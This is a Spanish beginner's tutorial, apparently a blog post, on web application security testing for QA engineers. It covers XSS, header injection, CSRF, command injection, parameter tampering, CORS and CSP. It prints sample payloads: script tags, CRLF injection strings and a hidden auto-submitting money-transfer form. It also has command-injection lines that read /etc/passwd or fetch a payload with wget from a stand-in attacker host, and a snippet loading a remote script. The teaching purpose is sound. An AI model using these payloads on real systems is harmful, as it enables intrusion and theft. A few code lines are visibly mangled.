Conceptos básicos de ciberseguridad: consejos prácticos para pruebas de seguridad de aplicaciones web para ingenieros de control de calidad

Este artículo explora vulnerabilidades fundamentales y técnicas de prueba, brindando información práctica para mejorar sus habilidades de pentesting de aplicaciones web. El artículo combina una serie de publicaciones mías dedicadas a ingenieros y analistas de control de calidad y proporciona una exploración práctica de las vulnerabilidades fundamentales de la ciberseguridad. El propósito es capacitar a los ingenieros, probadores y analistas de control de calidad con conocimientos que cierren la brecha entre el control de calidad del software y la ciberseguridad , fomentando un enfoque unificado para garantizar la integridad y seguridad de las aplicaciones web.

Esta no es una guía definitiva, pero me gustaría compartir mi experiencia como ingeniero de control de calidad interesado en el campo de la ciberseguridad; Será información bastante superficial con algunos enlaces útiles si estás interesado en aprender algunos aspectos más profundamente.

1. XSS (secuencias de comandos entre sitios)

Una de las vulnerabilidades críticas y más comunes es XSS: https://owasp.org/www-community/attacks/xss/

Compartiré un enfoque simple y consejos sobre cómo probar XSS sin tener un amplio conocimiento en el campo y tecnologías de desarrollo frontend.

• Ingrese una etiqueta de secuencia de comandos, seguida de algún código JS, en los campos de entrada de su aplicación, por ejemplo.

 <script>alert('XSS');</script> (%0ejavascript:alert(/XSS/))

• Envíe la entrada y vea si el script se ejecuta.

• Si es así, entonces la aplicación es vulnerable a ataques XSS.

• Si el script no se ejecuta, intente modificar la entrada agregando otras etiquetas HTML, como <img> o <iframe>, y vea si se reflejan en la página, por ejemplo (este ejemplo casi siempre funciona para mí)

   <b>t</b>#`"/*—est

• Puede agregar una secuencia de comandos para consultar los parámetros de la URL de su aplicación web o un nombre de usuario, nombres de archivos cargados ( https://github.com/cure53/H5SC ) o cualquier texto que se mostrará en la página de la aplicación y que pueda cambiar. .

• Tenga en cuenta las validaciones frontales de las entradas. Intente siempre enviar el valor mediante una solicitud directa (usando Postman, Burp o cualquier herramienta similar).

• Utilice fuzzing y una lista de cargas útiles: automatice este enfoque cuando sea posible o utilice herramientas especiales para ello.

Hablando de herramientas, hay muchas para descubrir XSS, probar diferentes, comparar resultados varias veces con diferentes aplicaciones y elegir la que más te guste: https://linuxhint.com/free_xss_tools/ (yo he usado muchas OWASP ZAP y BurpSuite).

Personalmente, me gusta usar cargas útiles e información de aquí: https://github.com/s0md3v/AwesomeXSS , un recurso muy útil, en mi opinión.

Para obtener más detalles sobre XSS y cargas útiles, puede encontrar los siguientes recursos:

• https://owasp.org/www-community/attacks/xss/
• https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
• https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45

2. Inyecciones de encabezado

Esta vulnerabilidad ocurre cuando un atacante puede inyectar código malicioso en el encabezado de un sitio web, lo que le permite ejecutar acciones no autorizadas o acceder a información confidencial.

Para probar las inyecciones de Header, puede seguir algunos pasos:

• Utilice herramientas como Postman, Burp o cualquier herramienta similar para manipular los encabezados HTTP y vea si puede agregar encabezados no autorizados o modificar los existentes.
• Compruebe si el servidor envía información confidencial en los encabezados de respuesta.
• Intente manipular las cookies añadiendo contenido malicioso o modificando sus valores. Un ejemplo de carga útil para probar las inyecciones de encabezado es incluir un carácter de nueva línea en el campo del encabezado, seguido de encabezados adicionales.

 (%0d%0a OR \r\n)

Por ejemplo, la siguiente carga útil podría usarse para inyectar un encabezado Set-Cookie:

 User-Agent: Mozilla/5.0\r\nSet-Cookie: sessionid=111111 https:// yoursite. com?cookie=123%0D%0ASet-Cookie%3A%20TESTCOOKIE=hacked

Otro ejemplo es la inyección del encabezado del Host, donde un atacante puede manipular el encabezado del Host para acceder a otro sitio web o subdominio en el mismo servidor. Por ejemplo:

 Host: yoursite.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: admin.yoursite.com

Para obtener más información sobre las inyecciones de encabezado, puede consultar los siguientes recursos:

• https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.acunetix.com/blog/web-security-zone/http-header-injection/
• https://portswigger.net/web-security/host-header/exploiting

3. CSRF (falsificación de solicitudes entre sitios)

CSRF ocurre cuando un sitio web malicioso engaña a un usuario para que actúe en un sitio web diferente al que el usuario ha iniciado sesión actualmente. Este tipo de ataque puede dar lugar a que se realicen acciones no autorizadas (cualquier solicitud POST) en nombre del usuario.

Para probar las vulnerabilidades CSRF, en pocas palabras, puede hacer lo siguiente:

• Encuentre cualquier formulario o acción en el sitio web que realice acciones confidenciales, como cambiar contraseñas o realizar transacciones (o cualquier otra solicitud de publicación que pueda ser perjudicial para los usuarios si se realiza en nombre del usuario sin su conocimiento).
• Cree una página HTML o un fragmento de código que contenga un formulario oculto que realice la misma acción, por ejemplo:

 <html> <body onload="document.forms[0].submit()"> <form action="https:// yoursite .com /money_transfer" method="POST"> <input type="hidden" name="toAccount" value="attackerAccount"> <input type="hidden" name="amount" value="1000"> </form> </body> </html>

• Guarde este código como un archivo HTML y ábralo en el mismo navegador donde inició sesión en el sitio que prueba.
• Compruebe si la acción se realizó sin el conocimiento o permiso del usuario. En el ejemplo 2, se engaña al usuario para que visite un sitio web que envía automáticamente un formulario oculto para transferir 1000 a la cuenta del atacante en el sitio web de destino.

Para evitar ataques CSRF, utilice tokens anti-CSRF o cookies del mismo sitio para validar el origen de la solicitud. Estos tokens son valores únicos que genera el servidor y se incluyen en el formulario o en los parámetros de URL. Cuando se envía el formulario, el servidor verifica si el token coincide con el valor esperado y rechaza la solicitud si no coinciden. Aquí hay un ejemplo en Python:

 import requests # Get the CSRF token from the cookie def get_csrf_token(): cookie = requests.utils.dict_from_cookiejar(requests.cookies) return cookie.get('csrfToken') # Send an HTTP request with the CSRF token in the headers def send_http_request(url, data): csrf_token = get_csrf_token() headers = { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrf_token } response = requests.post(url, headers=headers, data=data) return response

Recursos útiles:

• https://owasp.org/www-community/attacks/csrf
• https://portswigger.net/web-security/csrf
• https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html

4. RCE (ejecución remota de código) e inyección de comandos

Las vulnerabilidades de RCE y de inyección de comandos ocurren cuando los atacantes pueden ejecutar código arbitrario o comandos del sistema operativo en un sistema de destino. Este tipo de ataques pueden provocar el compromiso total del sistema y el acceso no autorizado a datos confidenciales.

Para probar las vulnerabilidades de RCE y de inyección de comandos, en pocas palabras, puede hacer lo siguiente:

• Identifique campos de entrada o parámetros que puedan manipularse. Estos campos o parámetros de entrada se pueden encontrar en una amplia gama de lugares, como formularios, parámetros de URL, cookies, encabezados HTTP, etc. Para identificar dichos parámetros, puede utilizar una herramienta como Burp Suite, que le permite interceptar y modificar solicitudes y respuestas HTTP (en una versión gratuita). Burp capturará y mostrará todas las solicitudes y respuestas, incluidos los campos y parámetros de entrada. Una vez que tenga sus parámetros, debe verificar si se pueden usar para ejecutar código insertado o comandos del sistema operativo.
• Inyecte cargas útiles maliciosas en esos campos o parámetros; aquí hay algunos ejemplos posibles y simples:

 ; ls -la - list the contents of a directory cat /etc/passwd - show the password file wget https://myhackersite.evil/payload - download files with malicious code from a remote server ping -c 1 https://www.linkedin.com/redir/general-malware-page?url=myhackersite%2eevil%2ecom - ping the attacker's website 3

• Verifique el comportamiento de la aplicación para ver si la carga útil se ejecutó correctamente y si se le envió información confidencial. Por ejemplo, si usó ls -la y la aplicación mostró una lista de archivos y directorios en el servidor, esto indica que la carga útil se ejecutó exitosamente y que la aplicación es vulnerable a la inyección de comandos.

No todas las cargas útiles generarán algún resultado visible. En tales casos, es posible que deba utilizar otros métodos, como monitorear el tráfico de la red o revisar los archivos de registro.

Para evitar ataques RCE y de inyección de comandos, se deben validar las entradas del usuario y se deben eliminar o desinfectar los caracteres o comandos maliciosos.

Aquí hay algunos recursos útiles para seguir aprendiendo:

• https://owasp.org/www-community/attacks/Command_Injection
• https://owasp.org/www-community/attacks/Code_Injection
• https://portswigger.net/web-security

5. Manipulación de parámetros web

Este tipo de ataque ocurre cuando manipula los parámetros enviados desde el lado del cliente al lado del servidor, lo que lleva, por ejemplo, a un acceso no autorizado o una escalada de privilegios.

Para probar este tipo de vulnerabilidad, puede hacer lo siguiente:

• Identifique campos de entrada o parámetros que puedan manipularse. Al igual que con otras vulnerabilidades, puede utilizar una herramienta como Burp Suite para interceptar y modificar solicitudes y respuestas HTTP.
• Modifique los parámetros. Por ejemplo, si un parámetro controla el precio de un producto, puede modificarlo para comprar artículos a un precio más bajo: - cambiar el precio de un producto de 10 a 1. - omitir la autenticación manipulando el parámetro de ID de usuario. - cambiar el cantidad de un producto a un número negativo para obtener un reembolso o a un número mayor para obtener más artículos por el precio de 1 artículo.
• Verifique el comportamiento de la aplicación para ver si la manipulación fue exitosa. Por ejemplo, si cambia el precio con éxito, la aplicación debería reflejar ese cambio cuando revise el carrito o el recibo.
• Y, por supuesto, informe sus hallazgos a los desarrolladores para que puedan solucionar el problema antes de que se convierta en un riesgo para la seguridad.

Para evitar ataques de manipulación de parámetros web, la validación y desinfección de las entradas son cruciales. Asegúrese de que todos los datos de entrada estén validados en el lado del servidor y que la aplicación rechace cualquier entrada maliciosa. Yo diría que este tipo de vulnerabilidades son las mejores para ser identificadas por un equipo de control de calidad porque los controles de calidad conocen la aplicación/producto y su lógica y parámetros mejor que los ingenieros de seguridad de la información que normalmente no participan en el proceso de desarrollo.

A continuación se incluyen algunos recursos adicionales que le ayudarán a obtener más información sobre la manipulación de parámetros web:

• https://owasp.org/www-community/attacks/Web_Parameter_Tampering
• https://www.geeksforgeeks.org/web-parameter-tampering-attack-on-web-servers/
• https://www.imperva.com/learn/application-security/parameter-tampering/

6. Intercambio de recursos entre orígenes (CORS)

Este es un mecanismo de seguridad que impide que las páginas web realicen solicitudes a un dominio diferente al que sirvió a la página web.

Puedes probar haciendo lo siguiente:

• Abra en el navegador cualquier dominio (por ejemplo, google.com) desde el cual debería estar prohibido acceder a su servidor.
• En la consola del navegador use este comando:

 fetch('https://beapimysite.com') .then(response=>response.json()) .then(data=>{ console.log(data); })

• Si todo está configurado correctamente, debería obtener lo siguiente:

 access to fetch at 'https://beapimysite.com' from origin 'https://www. google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

Siga estos sencillos pasos:

1. Encuentre los dominios de origen y destino involucrados en la solicitud. El dominio de origen es el dominio de la página web que realiza la solicitud y el dominio de destino es el dominio al que se envía la solicitud.
2. Utilizando una herramienta como Postman, envíe una solicitud desde el dominio de origen al dominio de destino. Asegúrese de incluir los encabezados apropiados para indicar que la solicitud es de origen cruzado.
3. El servidor debe incluir el encabezado Access-Control-Allow-Origin en la respuesta para indicar que la solicitud está permitida desde el dominio de origen. Si falta este encabezado o se establece en un valor diferente, puede indicar una vulnerabilidad en la aplicación.
4. Si falta el encabezado Access-Control-Allow-Origin o está configurado en un valor, intente evitar las restricciones modificando la solicitud. Por ejemplo, puede intentar cambiar el encabezado de Origen para que coincida con el dominio de destino o utilizar un método HTTP diferente. Aquí hay algunos ejemplos de solicitudes para probar:

 Request from https://mysite.com to https://beapimysite.com: GET /api/data HTTP/1.1 Host: beapimysite.com Origin: https ://mysite.com Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Requested-With

Respuesta:

 HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: X-Requested-With

Para obtener más información sobre CORS, aquí hay algunos recursos útiles:

• https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
• https://portswigger.net/web-security/cors

7. El encabezado de la Política de seguridad de contenido (CSP) no está configurado

CSP es un mecanismo que ayuda a prevenir ataques XSS al permitir especificar qué fuentes de contenido pueden cargarse en las páginas web. Sin un encabezado CSP configurado, es posible inyectar scripts maliciosos en la página y robar datos confidenciales del usuario o realizar otras acciones.

Puede hacer lo siguiente para verificar el encabezado CSP:

• Abra la página web que desea probar en un navegador.
• Abra las herramientas de desarrollo en su navegador y vaya a la Consola.
• Ingrese el siguiente código:

 document.cookie=TESTCOOKIE=XSS;

• Si se ejecuta correctamente, no habrá mensajes de error. Esto indica que la página es potencialmente vulnerable a XSS porque permite configurar cookies desde una fuente externa.

Intente inyectar un script en la página y vea si se ejecuta. Por ejemplo, inserte el siguiente código en la consola del navegador:

 var script = document.create; Element('script');script.src = 'http://dangeroussite.com/dolphin.js'; document.head.appendChild(script);

Busque el encabezado Content-Security-Policy en los encabezados de respuesta. Si falta este encabezado, significa que la página web no tiene ningún encabezado CSP establecido.

El encabezado CSP es algo importante en la seguridad de las aplicaciones web.

Para más información sobre CSP:

• https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
• https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

La relación simbiótica entre la ciberseguridad y el control de calidad del software es importante en términos de seguridad de las aplicaciones de software. Mediante la integración de metodologías de modelado de amenazas y técnicas automatizadas de pruebas fuzz, los ingenieros de control de calidad contribuyen significativamente a la detección temprana y la mitigación de vulnerabilidades de seguridad. La colaboración entre los equipos de ciberseguridad y control de calidad forma una parte integral de un enfoque unificado para el desarrollo de software, y el papel del control de calidad se extiende más allá de las pruebas funcionales y de usabilidad para abarcar la identificación y rectificación proactiva de posibles fallas de seguridad. Es importante reconocer el control de calidad como un activo estratégico en los esfuerzos de ciberseguridad, ya que no solo mejora la protección de datos sino que también salvaguarda la reputación de una empresa, la confianza de los clientes y la estabilidad financiera general. Las habilidades técnicas de los profesionales de control de calidad, junto con sus rigurosas prácticas de prueba, establecen una defensa sólida contra las amenazas cibernéticas.

Un recordatorio crucial:

Realice siempre pruebas de penetración con permiso explícito y dentro de un entorno controlado. Este enfoque ético garantiza que las evaluaciones de seguridad se alineen con protocolos de prueba responsables, evitando compromisos involuntarios de los sistemas y manteniendo la integridad tanto del proceso de prueba como de la estrategia general de ciberseguridad.

Este artículo comparte consejos prácticos para que los ingenieros de control de calidad mejoren las pruebas de seguridad de las aplicaciones web, conecten el control de calidad del software y la ciberseguridad. Es una guía para principiantes con información y enlaces útiles para aquellos que buscan aprender más.

También publicado aquí .